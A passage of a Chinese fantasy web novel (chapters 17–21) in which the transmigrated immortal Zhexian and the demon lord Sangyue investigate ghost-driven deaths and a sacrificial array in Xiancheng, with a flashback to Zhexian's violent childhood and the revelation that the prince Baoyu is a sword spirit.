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抱意却警觉了起来,看来他早就知道了,收回视线,她继续说完后面的话:“我们和厉鬼搏斗,被存活的人拦了下来,然后他们联合把我们送进了阵法中。”
“那就是说,在你们进入阵法后,这座城的阵就启动了。”
“没错,而且活着的人跟我们说的是,先前把那些人害死成为厉鬼的,是来自九重天的……清羕仙君。”
折羡几乎是本能的觉得,这真是承漾能干出来的事,不过,“什么时候?”
“从十年前到现在,大约每年都有十来个。”抱意手中出现一卷竹简,那上面是离奚国君之前给她的线城近十年来死的所有人的名单。
“每年不间断?”
“没错。”
“那你们这几日过来时还有新的人死去吗?”
抱意那双雪白的眸子渐沉,似有一闪而过的冷意,她展开下半部竹简,那里记录着的便是具体日期。
折羡一一看过去,最近几个月的记录突然多了起来,对比起前面每年十个,后面简直跟开了挂一样排排躺在那处。
那个突然变化的节点赫然就是承漾死的那天,折羡在承漾身体里活过来的那日。
而之后到现在,折羡是第一次来线城。
那么是谁从她来到这里就开始布局了呢,又或者说,承漾根本没死,而是魂灵与肉身脱离,藏了起来。
折羡揉了揉眉心,感觉要长新脑子了,这种一动脑就晕,一动手就累的日子依旧捆绑了她。
看来她还是适合躺尸啊,“桑越。”
桑越原本懒懒靠着柱子的身形站直了些,他偏着头看过来,眼神询问。
“我们分三路去查。”折羡要偷懒睡觉。
“陛下,你带着他们去把这里的所有阵都解了可以吗?这个很简单,蛮力捅破或者劈开地板就行。”
“我没问题。”这声陛下叫得抱意心尖一颤,虽说已经做了快二十来年的帝王,还是第一次听到毫无恭维、毫无怯意不参杂多余算计的称呼,就好像,她真的只把这两个字当成了一种交流的称谓。
“你带着自己属下去查你们魔族的纹案一事。”折羡打了个哈欠,往外走去,“我顺着你之前查到的那个地方去会会厉鬼。”
折羡刚离开,抱意手里的短刀就朝着桑越刺了过来,善一鸰和那群趴在地上的人也打了起来。
“桑越,这么多年不见,你如今倒是越发弱了。”抱意收起短刀,挥拳直冲着他脸而去,“怎么,当初我们可都是自愿给出的灵气,是你自己多给了三百年,如今承漾都死了,你还来人界干什么?”
“嗯?你在说什么。”桑越躲开她的攻击,手中乐器拨动,隐在暗处等候调遣的魔卫瞬间将其他人围住。
“我失忆了,她不仅多拿了我几百年的灵气,还将记忆也抽走了。”
抱意一道灵气打偏,那里被轰出一个大洞,“你说什么?”
他失忆了???
什么都不记得了?那他怎么会跟清羕仙君走在一起?难道不是报仇?
“你……一点都不记得了??”
18. 前尘往事1
逃离聚众环境后,折羡找了个安静的房顶躺着,一开始她对任务是没什么上进心的,甚至可以说是很颓脱地在做。
而连着得到了两个任务对象的一丝魂灵后,她又觉得自己过于较真了。
在勉强算前世的那一世里,折羡是个没有记忆的孤儿。
关于她十岁之前的记忆,是完全空白的,直到她被人捅死来到这里,依旧没想起有关十岁之前的事。
她就像是突然出现在那里,突然融进了那个陌生的世界,脑子突然开始运转,她没有记忆,她像个机器一样按照指令开始在那个世界找活下去的办法。
可她的年龄太小了,没有谁会要一个十岁的童工,她没有身份证,查不到相关信息。
在偌大的城市里,她就这样成了乞丐街溜子。
很快折羡就发现,她根本不需要寻找活下去的方法,因为活着对于她来说,简直易如反掌。
又或者说,死亡于她而言,本是妄想。
在乞丐街溜子乞讨时,她就蹲在旁边看,等人讨到了几个钱,她就学着那人的模样跟着讨,因为长得好看,她还故意将衣服扯得破破烂烂,拿石头砸手臂弄出青印子,装得可怜样很是触动人心,果不其然,她比那人讨到的钱多多了。
后来那人看不惯她,带着一群人过来揍她,美其名曰给她讲讲道上的规矩,哪块地是谁罩着的,哪个区域不能乞讨,讨到的好东西应该归谁等等。
折羡侧着耳听,握着钱蹲在那里数,顺便左耳进右耳就出了。
那群人见她不识好歹,围起来就把她一顿打。她试着避开了几个人的拳头,干脆躺平让他们打了个痛快,那一拳一拳打到她身上的时候,她甚至在想:再用点力,打死她,打死她啊。
她要看看死了后会发生什么,她的求生意识一直都弱得可怜。
等折羡再次醒过来的时候,除了哪都疼,手被绑着,衣服还漏风以外,没什么大问题,依旧活着。
她所在的地盘也整个轮换了,这个地方她完全没见过。
她躲在那些被抓的人的后面,简单查看了身上的伤势,上次那些拳头打出的印记,已经完全消失,如果不是她能感觉到骨头错位的疼痛,怕是肉眼也看不出毛病,就仿佛是睡了一大觉,醒来安然无恙。
也不知绑她的人是有多敷衍,她手一撑就打开了。
如今被绑在这里的不止她一个,而是一群人,那些人都还处于昏死状态,而且都跟她现在十来岁的身体差不多。
她脑袋空空,唯一的记忆还是前段时间学会的乞讨,此刻对于陌生环境的警惕大过本能,她能直观感受到,这里很危险。
就算她死不了,也免不掉被即将到来的“险境”扒一层皮。
她才简单活动过手腕,门口处就传来了声音,“血液抽取过了吗?这次有多少能用的?”
“梅九他们这次抓了五十多个。”那话语里便辟①中带着点骄傲,甚至隐隐有邀功的意思。
另一道声音沙哑干涩,像是声带断裂后重新粘上去般,语速极慢,又偏让人感到害怕,“你的意思是,这五十多个都能用?”
“不是……”
“啪——”的一巴掌,门终于打开了,而那用低劣话术将一旁的掌管者惹怒的人,已经被大力的巴掌抽飞在地,刚好落到折羡新调换的位置——一个体型略大、半弓着趴在地上的男人的前面,把昏迷的男人又砸了一下,从原本趴在地上的姿势撞得彻底倒在地上,而捂着脸想起身的那人措不及防和折羡还没来得及闭上的眼相对视。
折羡:“……”
那人:“……”
身后的男人似是有些唾弃这一巴掌就能扇飞的男人,抬起就是一脚踹过去,将那人踹到几米开外,手里的枪一转,连个眼神都没分给被踹吐血的人,“砰”的一声,那人彻底趴在了地上,死去时还大睁着眼,朝这边看着。
再次和新的人对视上的折羡有些许的无措,她看看枪又看看男人,垂在身后的手拾起了绳子。
而在那声枪响后,屋里的人醒了一大半,大多都是才十来岁左右的孩子,在陌生的地方醒来,旁边还躺着一个才死不久的热乎尸体,连吓哭的勇气都没有,只剩下低声抽泣和再次昏厥。
男人粗糙沙哑的声音再次响起:“你不怕?”
折羡握紧了绳子,淡声道:“怕。”
“呵。”男人靠近她,拿枪在她的脸上拍了拍,最后枪口对准了她的的下巴,“你这个样子,可不像是怕,倒像是在……”
“求死。”
折羡计算着距离,在枪扣动扳机的前一刻,手里的绳子以常人达不到的速度缠上了男人的手腕,下一秒,手枪稳稳落到了男人另一只手里,而他的另一只手上,赫然是折羡的绳子以及被绳子勒住脖子的折羡。
他的速度远在她之上。
“你是第一个,能碰到我的人。”男人把玩着手枪,凭借着蛮力将折羡连人带绳子一起提了起来,往地上狠狠一扔。
脖子火辣辣的疼,窒息感逐渐蔓延,将她被摔断的碎裂的骨痛都模糊了,她能感受到,她的生命在以一个疯狂的速度流窜,让她忍不住咳出了声。
男人将绳子一扯,把折羡拉到身前,捏住了那张小小的脸,神情专注地看着她的眼睛,像是要把她盯出个洞来,两人互瞪了好几分钟,男人才恍然笑出声,发觉了什么似地低声道:“你真的在求死。”
“怎么,原来你不是不怕死,而是有保命手段啊。”
“你还这么小,怎么能白白浪费掉这样的好手段呢。”说着他单手将人抱了起来,轻抚着折羡脖子上可怖的红痕,听着底下乱七八糟的哭泣声,谁哭得声音大了,他不耐烦了,就随手砰一个。
“从今以后,你就是我的义女。”
折羡靠在他怀里,冷眼看着被他杀害的那些人,红色的血将那间屋子浸透,她手心里的伤口,正以不可思议的速度愈合。
……
折羡从房顶上坐起来,玉牌变成的匕首握在手里,血液如同雨水拍打地面般落到瓦片上,把隐若吓了一跳,赶紧操纵着匕首变回了玉牌。
玉牌沾了血,金色的“咎”字透着红,而手上那个口子,也在缓慢愈合着。
霸占的这具别人的身体,正在朝她自己的身体演变。
她突然就非常想把这些任务全做了,她想知道,连主神都杀不死的魂灵
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,由魂灵生长出的不死肉身,究竟是什么。
而她,又是个什么怪物。
“下一个任务对象在哪?”
隐若:“……”
它家主人积极起来真是太积极了。
“嗯……主人,你不管线城这件事了吗?”本是抱着试探的态度问,谁知折羡十分干脆地道:“对。这件事抱意和桑越不是已经有办法了吗?你没看出来,他们俩认识?你没发现,桑越来了这里就变得奇怪了吗?”
“我……”隐若哑口无言,本来折羡如此急切地想完成任务,它是该高兴的,可它总觉得,折羡好像知道了什么,具体是什么,它猜不出来,而折羡不会说。
“下一个任务对象在哪?”她又重复了一遍。
隐若看了一眼她手上的伤,叹了口气:“在……在冥界。”
“啊……换地图了。”折羡在玉牌上随手一滑,“这玩意能直接把我们传过去?”
“不能。”
“那么请问,它的高级权限有什么用?”折羡微笑着询问。
隐若:“额,主人,六界之间平时是禁止往来的。”
“人界妖魔鬼怪还差什么没来?”
“这是意外。”就是出了问题,神父才叫你来拨乱反正啊。
“行了,你只需要告诉我怎么去就行。”
“嗯……”隐若在折羡脑子里弹了段文字。
看完那段字的折羡:“……”
^^
暗处桥边。
桑越阖着的眸子终于睁开,脸上依旧没什么表情,手指轻轻敲了一下手中的东西,善一鸰扑通一声跪了下去,嘴角挂着血,“主君……”
一刻钟后,某个方向飞来三只鹡鸰,接连落到桥旁,跟同善一鸰跪在一处。
“纹案的事,去查清楚。”他转过身,不悦地掷出乐器,小小的一个东西落到地面,滚落进汩汩流动的河水里,余下四人趴得更低,“是。”
一个时辰前,抱意拐着弯套了一些话,想从这些细枝末节中分析出桑越是真的失忆了还是在假装失忆,毕竟这家伙可一直就是个老奸巨猾的黑芝麻汤圆。
哪次碰见这家伙不是在布局就是在入局。
把六界搅得天翻地覆。
如今这病态缠身、风吹就倒的模样着实少见。
而在暗流涌动的交锋中,桑越也觉出了一些不对劲,那段缺失的记忆中,还缺了一段最重要的抱意没说。
他目前也没找到承漾把他的记忆丢在了哪里,这对他来说太过被动,在看到抱意画出那个魔族纹案时,他有一瞬的怔愣,那是从身体本能发出的,对那个东西的熟悉。
与抱意分开后,他立马唤出了藏在暗处的魔鸰卫。
说是去查,实际上就是去抓叛徒。
而他在这里发了一通脾气后,整理好自己的仪容仪表,嗅着折羡的气味便跟了过去。
此时的折羡刚和隐若吵完架,正在认命地寻找进入冥界的结界口。
没错,隐若给她的线索就是:线城是一个通往冥界的结界城。
这里的结界之下是人类死亡后灵魂的归处,也就是冥界之下的管理界——鬼界。
19. 异瞳灵眼
在结界城上方很容易利用人命制造出阵法,由于冥界管理者的疏忽,线城便成了一处可以来往人鬼两处的傀城,很多死亡后的人类鬼魂生前功德远不够,不足以直接投胎转世,为了变得更加强大,去往冥界中心处求取转世的机会,会在潜入线城后哄骗、威胁或者直接吃掉人类生魂。
所以线城这座基本上无人问津的城市,每年少个十来个人,上层官员根本发现不了,而当地官员,早在不知不觉中被鬼掌控了。
折羡将东方位的阵点全部破坏后,发现原本西方位抱意她们一开始所在位置的阵点又恢复了,那里的灯烛每隔五瞬亮一次。
折羡默默盯着看了好几遍,终于发现了规律,三次五瞬亮完灯她之前破坏掉的东方位阵点也开始亮。
甚至于北方位和南方位在东方位亮完后由常亮变为闪亮。
折羡抬手挥出一道灵气打往正中,阻止了所有闪亮灯烛的光同一时间朝中央汇聚。
她终于看明白了,这分明是献祭阵。
这些鬼魂里面还有高级货呢,连失传几千年的献祭阵都会使。
折羡知道此阵法还多亏了《离州大陆史》,这本史书跟个百宝库似的,里面很多失传的秘籍秘闻武器介绍。还有一些禁地领域和六界逸闻,她之前就怀疑过这玩意应该是个很喜欢八卦很爱交朋友的家伙写的。
现在可以加一条——爱捯饬禁术。
她空出手又挥出两道灵气去寻找抱意和桑越的位置。结界阵法她虽学了一点,但不如桑越熟。论灵活度,她也比不上抱意一只鸟啊!
眼见着灯烛光离中心位置越来越近,折羡干脆玉牌化剑,瓷玉剑的剑气如同寒冰,将烛光冻在原地,亮起的四周和正中的黑孔形成强烈的反差,从折羡猫在屋檐处的那个位置看去,宛如宇宙黑洞。
她正要收回找寻的那两道灵气,就见那个黑洞边缘出现了几个“新东西”。
抬手结印,右瞳在灵气的包裹下融为天青色,待看清那是谁时,折羡沉默了。
久颜和抱钰为什么会在这里!!!
折羡一个闪现想过去把这俩拉过来,越靠近黑漆漆的洞,那里的吸力就越强,两人像失了心智一般直愣愣地往那里去,甚至于久颜还带着抱钰御剑飞行,恨不得火速跳进去,要不是折羡速度快,拿着剑将两人拦住,估计这会儿已经掉进去了。
“你俩魂丢了?”
两人表情一致,双目呆滞,缓慢又机械地移动着脖子,以一种难以想象的姿势扭着头,眼睛依旧看着黑洞,久颜手上还摆着御剑的姿势,抱钰张着嘴,一只手拿着烤鸡,另一只手抓着久颜的袖子,双腿盘在了久颜身上,宛如开了智的树袋熊。
无人回答折羡,还试着继续往里跳。
另一边,折羡刚离开,那里的瓦片都还热着,桑越的身形显现出来,没在第一时间看到折羡,他刚平复的心情登时跌落谷底,瞳色来回变换,鼻尖微动,“嗖”地一下奔着某个方向就去了。
折羡拔出剑就准备给这两个“僵尸”醒醒神,某个周身气压还没来得及收起来的家伙先行一步,将久颜和抱钰一掌拍开,两位“僵尸”直接朝着黑洞的反方向飞出好几个灯烛之外。
等折羡掀眉看去时,桑越那股骇人的气息全无,只剩个走两步就要喘几大口的活尸,他紧抿着唇,手拿着绢帕低垂着眉眼咳嗽,折羡目光落在他身上时恰好也回望过去,好一阵才有了力气说话:“怎么了?”
“你刚刚,有看到其他人吗?”
“咳咳。我刚赶到这里,一路上没见过活着的人。”当然,刚才那两个不算,他看都没来得及看清,只模糊瞅见两团黑影。
“……”折羡又看了他一眼,这时她才发现,这人不知何时换了一身衣衫,月牙色的衣袍在漆黑的夜里更显亮眼,细致别样的花纹游走于每一处褶缝处,内里的底色又是嫩黄,长而密的青丝垂在两侧,和她平时在话本上见到的魔族少年很不一样。
这模样不像魔,倒像个考上科举的探花郎。
不待折羡细看,四周突然迸发出强烈的光,原先用剑封住的烛光终于突破限制,在眨眼间聚到黑洞,将折羡、桑越连同击飞的久颜他们在内的活物全部卷了进去。
在卷进去之前,折羡天青色的瞳孔还未曾恢复到黑色,所以她亲眼见着桑越以一种常规修炼者达不到的速度冲过来拉住了她,那完全不是个病秧子能做到的。
光束卷袭之下,折羡能感到手边的拉扯力,但是却听不到任何声音,经过下坠摇晃和剧烈的抖动之后,光束完全消失,四下寂静,阴森寒冷之气从四面八方袭来,折羡用灵气聚了一团火,只看了一眼又立马掐灭了。
那是一张没有五官的脸,脸上均匀分布着几个洞,每个洞里面长着一只蠕动的虫子,和折羡几乎是贴脸对着,着实把她恶心到了。
做鬼没有门槛的吗?!
长得如此丑陋。
下一秒,桑越又点燃了一团火,对着刚才那个位置就是一顿灵气乱扔。
“别浪费灵气了。这里全是厉鬼,你杀不完。”折羡阻止了他,刚想抬步去找出口,就被某个东西抓住了脚腕,动了动另一只脚,那里被更多的像是触手似的东西抓上了。
紧接着身上被冰冷的手抓满了,它们不进攻,纯恶心人,甚至连桑越那个活物抓着她的那一点温度都快被淹没。
“……”
忍不了了。
灵气噌噌噌冒出来,直接将那些奇形怪状的鬼震到了两米开外。
桑越刚趁着折羡不注意捏死了一个鬼,正慢条斯理收回手,完全不知道折羡生气归生气,那暗戳戳观察新环境的眼神一直在转悠,把他的举动看了个完全。
“仙君留着灵气就行,我这里本来就没多少灵气,这东西不知好歹惹了仙君不悦,我把它掐死替仙君解气。”边说边释放出略微稀薄的灵气。
那灵气虽稀薄,也把厉鬼逼得忒远了些,飘在空中眼看着就要散掉了。
折
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羡似笑非笑地看着他,道:“桑越,你也有灵眼吧。”
桑越掐着的手指一僵,连指尖的灵气似乎都停滞了,好半响才找回自己的声音:“你都看到了。”
“我之前就怀疑过,但……”这人在她面前的一举一动都格外赏心悦目,所以她会下意识忽略这个问题。
“但什么?”
“你太明显了。”
看来细节还需精进。
折羡道:“此外,你装成现在这副弱不经风的样子,是准备……迷惑你哪个仇人?”
一直以翩翩公子形象在折羡面前孔雀开屏的桑越:“……”
“在承漾拿走我记忆之后,我总感觉缺了什么,所以在那之后我一直都是半魂灵状态,没有装弱。”只是偶尔能发挥出十之三四的功力罢了。
当然也没有迷惑谁的意思。
“那次我给你疗伤,你下意识睁眼的那一瞬间,瞳孔是黛色。”折羡想到当时那双眼睛,心里发颤,是激动地发颤,那如同暮色降临、远山徜徉的辽阔,一眼便是永生。
她一剑戳死了一个残破厉鬼,颇为有兴趣地对桑越道:“你这具灵体,真的很独特。”
任务对象没桑越,她是万分诧异的。
一是觉得遗憾没机会试试这样的灵体是什么感觉,二是觉得主神不识货,当然这并不是说主神认定的任务对象不好。
桑越没错过折羡眼底一闪而过的欣喜,他道:“你要喜欢,我可以一直用灵眼。”
折羡摇了摇头,“没必要,一直用灵眼也需要消耗灵气。”
所谓灵眼,是能修炼灵气者才会有的,一般来说,一出生就是灵体的人会拥有潜在灵眼,什么时候能觉醒出来,如何正确使用,是由个人潜能决定的。
承漾有灵眼,她死后留的这具身体是没有的,折羡的灵眼是她魂灵带过来的。
那时候在现代,她做任务时遇到生命威胁时右眼就会变成天青色,而随后发生的什么她都不记得了,但眼睛变色,会救她一命。
在下次遇到相同情况时,上次的记忆如瀑布倾泻而下。
那时候她只知道这是个能保命的东西,很想毁掉,一直没找对方法。
后来看了那本书才知道,这玩意叫灵眼。
配合离州大陆灵气修炼能发挥出更大的作用。
灵眼分为三种,单灵眼、双灵眼、异灵眼。
一般来说,双眼的战斗力是最强的,而异眼的功能性更多。至于单眼,得视品质而定。
桑越理了理袖袍,语气上扬:“你喜欢这具灵体,也给你。”
“?”折羡又戳死一只厉鬼,在无语中有了满腔吐槽:“你自己听听你在说什么。”
“好吧,你若需要,我可为你寻一具更好的来。”这件事对他来说,仿佛是什么再为稀松平常的了。
折羡又一阵无语,彻底没了聊天的欲望,与他拉开距离,转身去砍厉鬼泄愤。
桑越快步跟上。
20. 敛苍剑灵
大约杀了几百只厉鬼后,这个狭小的空间终于没有大胆鬼敢上前,而是在离二人两米远的距离用四不像的模样进行恐吓。
“桑越,等会儿我去跟它们交涉,你找出口。”
“好。”
桑越用灵气打了个新的火折子,将星火引到顶层,又不知从哪摸出来一个罗盘,那罗盘小巧精致,整体呈方形,青色,连纹路都十分清晰,上面刻着几个复杂的古文,在灵气的催动下,罗盘里的表针开始转动。
不过一息时间,表针已经疯转了好几圈,骤然停在某处,桑越垂在另一侧的手指抬了抬,指针又开始轻微转动,最后落在离折羡不远处的右方。
折羡此刻正在和厉鬼“友好的交流”,试图逼问出它们的头儿,不说话的一句话说不清的说了谎话的折羡上去就是一剑,玉牌化形的瓷玉剑并非是虚幻的剑,剑身裹挟着的灵气挥出的杀气是实打实的,再加上剑的内里寒气逼人,剑本身又有毒,碰到不是伤就是魂飞神散。
解决了嘴硬的几个鬼,剩下的都乖乖站成一排,折羡问什么,它们知道的就答什么。
“死多久了?”
厉鬼张着血盆大口,“啊呜”一声叫唤,折羡一道剑身拍他脸上,他默默低了头,答道:“不记得了。”
“怎么死的?”
“不记得了。”
这次折羡给了他三把掌,把他记忆打回来了,他迷糊道:“应该有二十多年,当时我跟着商队出货,在路上遇到了暴风雪,我们都被埋在了里面,那时候其实不知道我们已经死了,只是有人来告诉我们,跟他走,就能继续活着。”
“后来……又睡了很多很多年,清醒的时间很少,大多数时候都在修灯。”
“那人长什么样子?”
“他……”厉鬼嘴里发出“嗬嗬”的响声,像个无头苍蝇拖着像是铃铛声又像是铁链声的东西来回走动,不停地巴拉自己的头发,直到完全遮住那张流脓的脸。
“他,带着面具,整个眼眶都是绿色,没有瞳孔,很可怕……脖子处有个绿色的印记,像蛇,像龙……不对不对,应该是蛟。穿一身黑,衣服上也有那个印记。”
折羡提取出重要的信息,这人很绿,身上有个重要标记。
有人专门把这些死后成鬼的人骗到线城来完成献祭阵,这个献祭阵到底是要召回谁,这么大费周章。
“这下面能通往哪里?”
厉鬼生疏地转动头颅,一不小心扭过了,直接来了个一百八十度全转,一侧的耳朵和一旁不知从哪冒出来的眼球怼着折羡,另一边被头发遮住的嘴发出不清晰的声音:“通、通往主人,住的地方。”
“你家主人是谁?”
厉鬼沉默,又被折羡甩了一巴掌。
“就、就是他。”
“面具人?”
“不不不。主人、就是主人。”
折羡:“……”
又抓着几个鬼拷问一番,竟没有一只鬼能完整说出“主人”是谁,“主人”的特征是什么。
折羡从储灵袋里掏出一颗留影石,打了一道灵气进去,石头上出现久颜和抱钰两人的模样。
“见过这两个人吗?你们知道我想听什么。”
一群鬼蹲在角落,你看我我看你,桑越不知何时过来了,给其中一个施了法,那鬼扭头就给了旁边鬼一梆子。
“你打我作甚?”
“我没打你!”
“还说没打,你刚刚就打我了!信不信我告诉主人。”
“主人才不会管你这破事。还有,我没打你!”
“┗|`O′|┛嗷~~谁给了我一拳?”
“小四,是不是你!”
不过几秒,厉鬼们打作一团,打着打着飘到远处去了。
“……”折羡瞥了一眼桑越,道:“你找到出口了?”
“找到了,就在那边。”桑越指了指和之前罗盘指针转出来的完全相反的方向,毫不心虚地道:“我刚拿罗盘看过了,那里是出口,这个阵法我之前见过,等会儿我把阵破开一道口子,我们直接出去。”
“那里?”折羡半眯着眸,一道灵气打过去,果然在空中遇到屏障弹了回来。
“行。我们走这边,先去把那两个家伙救出来。”折羡朝着桑越指的方向的另一边走去,还不忘催促:“这边的阵法你也开个口子,我们得快点进去,如果灵气不够用,我给你传。”
桑越定在原地:“……”
折羡和桑越这边,由于自身实力足够,解决厉鬼套话找出口完全没压力,相对来说久颜和抱钰两个人遭了大罪了。
他们被卷进来时就神智不清,这会儿被一群厉鬼又啃又咬的,身上不止挂了彩,还格外虚弱,抱钰被这群鬼给啃清醒了,此刻正扯着嗓子呜咽。
久颜放在袖子里的手正在运转灵气,他的剑也不知道卷哪去了,结果操作半天,一点灵气没使出来。
也不知抓他俩的人是谁,在他们身上撒了什么东西,这群厉鬼无法杀他们,就在这里啃来啃去,弄得身上恶臭不止,衣服烂得这一块那一条。
他从随身携带的储物袋里摸出一颗灵气丸,趁着抱钰吸引火力快速吞了一颗。
大约又被鬼啃咬了半个时辰,久颜终于感到体内的灵气有丝丝回转,他掐了一个诀,敛苍剑突破阵法阻挠飞到他身边,瞬间震开了那些厉鬼。
“呜呜呜——颜颜你终于醒了,我差点被它们吃了!”抱钰还被鬼绑着,此刻一蹦一跳地来到久颜身边。
一直用不出灵气的久颜也只是能把剑召过来,那颗灵气丸恢复的灵气已用完,好在剑有灵,即使不用灵气灌注,也能发挥出些作用。
久颜对剑的熟悉度比对他自己都熟,他太能知道哪个位置用几分力能有什么效果,对方位的把控更是细节到毫厘之差。
这时解开抱钰身上的绳子,还不忘提醒他:“那人撸我们过来时留了气味,这些厉鬼杀不死我们,但那气味现下散得差不多了,你跟紧我。”
抱钰立马捡起绳子,迅速地将他和久颜绑在了一起。
久颜:“……”<
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“你这样,我怎么对付它们?”
抱钰泪眼汪汪地看着他,“那怎么办啊,颜颜。”
“你的剑呢?”
“丢、丢了。”抱钰现在无比后悔,他怎么也没想到,自己一个王爷,不愁吃喝不愁人伺候不愁安危,也会遇到这种事。
早知道当初久颜找他练剑时就不偷懒了。
久颜抿着唇,沉默着从储物袋里掏出一柄剑递给他。
“拿着,这把剑也有灵,谁要是靠近你,你用我之前教你的方法就行。”
他的储物袋,全是各种各样的剑。
他之前给抱钰的那把剑,也是有灵之物,那是他专门为抱钰找来的,想到这里,他又补充道:“出去后,把剑找回来,不然以后就不必再找我要东西了。”
“好颜颜,那剑我不是故意弄丢的,我一直好生保护着,谁知道这次等我醒来就不见了。”
“那剑有灵,既认了你为主,你用灵气召唤回来就行。”
“颜颜,你是不是忘了,我还在灵力期,用不了灵气。”抱钰抱住久颜新给的剑,不撒手。
“……”久颜真忘了。
厉鬼发现萦绕在二人身上的阻挠变小了,顿时群起攻之。
久颜带着抱钰狂奔,跑着跑着就被阵法阻挡住,他一剑挥下去,豪无松动。
剑气大开,逼着厉鬼往后退了几步,厉鬼是魂形状态,而敛苍剑在没有灵气操纵的情况下,只能在主人生命垂危时护主。
否则只能以心头血为引强行催动剑灵。
他们本身体力就跟不上,再打下去也只能被厉鬼食偈殆尽,久颜当即从储物袋拿出匕首,对着心脏就要来一刀,抱钰抓住他,身体在颤抖,眼神却很坚定。
“我来吧,敛苍需要你才能发挥出更大的作用。”
说完就拿过匕首刺向了心脏。
血滴在敛苍剑上,没有灵气的催动,也开始鸣声。
这时厉鬼也从剑气中会缓过来,将二人团团围住,倾身攻了上来。
浓郁的黑气蔓延,空中还挂着湿哒哒的口水,要不是闪得快,得淋他们一身。
一只厉鬼手掌出现绿纹,眨眼间便掐着抱钰的脖子将人摔在地上,心脏位置还没来得及止血处理,正汩汩流着,敛苍剑吸了血,剑灵献身,灵气大涨,久颜提剑将那只厉鬼戳死,把抱钰扶了起来,“你怎么样?”
“我没事。”抱钰勉强睁开眼睛,就见到久颜身后袭来三只厉鬼,他用力推开久颜,“小心!”
那三只厉鬼的掌纹打在抱钰身上,原本小伤口的心脏直接被贯穿,胸膛位置空落落的,不远处,一只厉鬼手里捏着抱钰的心脏,正得意的看向另外两只鬼。
抱钰躺在地上,嘴角挂着血,发不出声音,还在张口说:“快、快走。”
“抱钰!”
久颜扔了剑,敛苍没了主人的控制,开始在四周无差别攻击,厉鬼来不及反应,都被剑气所伤。久颜抱起抱钰,召回敛苍护着抱钰,又去杀那个抢走抱钰心脏的厉鬼。
21. 人间三国(完)
厉鬼握着心脏刚要一口吃掉,就被一剑砍烂了脸,它怒气冲冲地将心脏放进自己的透明身体里,转身和久颜打了起来。
久颜越打体内灵气越多,怒气和心疼之下的下意识动作让他完全忘记了顾着自己,身上也染了不少血。
厉鬼在减少,久颜也坚持不住,跪在抱钰身边,久颜捧着抱钰的心脏往他的身体里送,手抖得不成样子,一旁的厉鬼四肢分散,一个单零零的脑袋咬上了他的肩膀,他毫无知觉,只是不停地输送灵气给那个不再跳动的心脏。
就在那厉鬼脑袋要咬到久颜的脖子时,被赶来的折羡一巴掌拍散。随后大量的灵气将二人围住,她从储灵袋里掏出一把大补丹药,手心一凝,打进了久颜体内。
久颜抱着抱钰,下意识地拒绝道:“不要,我不要。给抱钰吧,给他好不好?”
折羡:“三皇子,抱钰他……”
“他还活着!”
姗姗来迟的桑越懒洋洋地扭死了剩下的鬼,在目光触碰到久颜身旁的那柄剑时,才正了正身体,神色严肃。
桑越:“三皇子,你的剑我能看看吗?”
“你要能救抱钰,剑送给你都行。”久颜身上的本就是皮外伤,被折羡的丹药治得七七八八,还在用多余的灵气给抱钰做温保。
另一边的抱意也赶了过来,一来就见到自家弟弟镂空的胸口和没有呼吸的尸体,差点一口气没提上来。
“抱钰!”抱意捏着他的手腕,查看他体内的魂灵是否已经离体,在没感受到魂灵的时候,她险些晕厥过去。转身就去找折羡,“仙君……你能帮我找找抱钰他的魂灵还在这处吗?”
折羡刚想说自己搜魂术学得很不精,不一定能找到,更何况抱钰还未修炼出灵体,体内没有灵气,魂灵和肉身死一个另一个有意识会出现在哪里都很难说。
桑越已经先她一步应承下来了。
“可以。”接着便对久颜道:“把那柄剑先给我。”
折羡给他传音:“这个时候了你还想骗剑,你多少有点同情心好吗?”
抱钰好歹是这个世界第一个对她释放善意的人,虽然后来闹了点不愉快,但生死面前,再纠结这些也没意义了。
桑越:“仙君,你先别急,你来看看这剑。”
桑越把剑递给她,手柄处的敛苍在折羡碰到时闪了一下,接着原本已经安抚的剑灵再次暴动起来,敛苍剑抖动个不停。
不一会儿抖动的剑身平稳下来,剑柄处的敛苍闪着光,下方渐渐浮现出另一个字,印在敛苍二字的下方。
折羡睁大了眼睛,为了确定自己没看错,甚至开了灵眼。
“你是说……”
桑越输了一道灵气进去,笑眯眯道:“一探便知。”
折羡也念了口诀,同样弹了一道灵气进去,惊喜不亚于看到今日吃烤鸡。
“你怎么会知道?”
桑越没错过她眼底的笑意,也跟着轻笑了一声,气音伴着好听的嗓音落在折羡耳边:“这是秘密。”
折羡把剑递给抱意和久颜看。
折羡:“敛苍剑剑柄处的字你之前有看到过吗?”
久颜不在意的扫了一眼,道:“有出现过一次,不过很短暂,我没看清。有什么问题吗?”
折羡:“你再认真看看那个字,现在不会消失了。”
久颜这才施恩般将视线从抱钰身上挪到了敛苍剑上,被敛苍压着的那个字,如惊雷般砸在了久颜脑中。
那个字像是灌了铅,堵在久颜喉咙处让他久久发不了声,过了好久才结巴道:“为什么?”
而抱意看到那字时,才恍惚记起自己第一次看见抱钰时的情景。
抱意本体是雪鸮,是妖族,她在冥界领罚后投胎成了离渊皇室的皇子,是当时皇后所生的第一个孩子,不仅是皇长子,还是名副其实的太子人选。
离渊不是女权为尊也不是男权为尊,向来是有能者上位。
所以尽管那时她有这个先天优势,也依旧不敢懈怠。
直到二十岁登基之后,她才开始有了前世的记忆和功力,开始知道自己真正的来历,可她也无法放弃离渊,她必须带着她的国家走上正轨,丝毫不敢松懈。
那时候她在离渊的父皇和母后都已死去,承漾也离她而去,突然就对这种奋斗产生了倦怠。
也是在偶然的情况下,她在亲自去往离安国谈判回来时,救了一个孩子。
那个孩子不过三四岁的样子,模样倒是可爱,就是太小不记事,抱意问他什么都说不知道,也不知出于什么心理,她还是把人带回去了,对外宣布的是她亲弟弟,先前身体一直不好,放在城外的寺庙养着,最近国安太平,一切顺利,庙里的僧人告知可以接回宫养,抱意便接了回来。
在取名字时,抱意询问了小孩的意见,小孩子在那一众字里点来点去,嘴里一直念着“钰钰”,抱意没听清,以为他说的“意意”,心想这小孩还知道她叫意意,后来才知道,他喊得是“鈺”,所以抱意给他取名“抱钰”。
而敛苍剑下压得那字便是“鈺”,折羡和桑越用灵气感知到的那丝熟悉的属于抱钰的魂灵,就在敛苍剑内。
准确地来说,敛苍剑的剑灵,就是抱钰。
抱意救下剑灵抱钰时,他三岁半,和当时的久颜年龄一样,他们是同一时刻降临在这个世上的。
换句话说,抱钰本就是为久颜而生,剑灵护主,就算抱钰没有取心头血,在久颜遇到生命威胁时,也会拼尽全力救他。
“所以你不用难过了,他现在只是暂时累了,需要休息。”
“他都战斗这么久了,你让他好好睡一觉吧。”
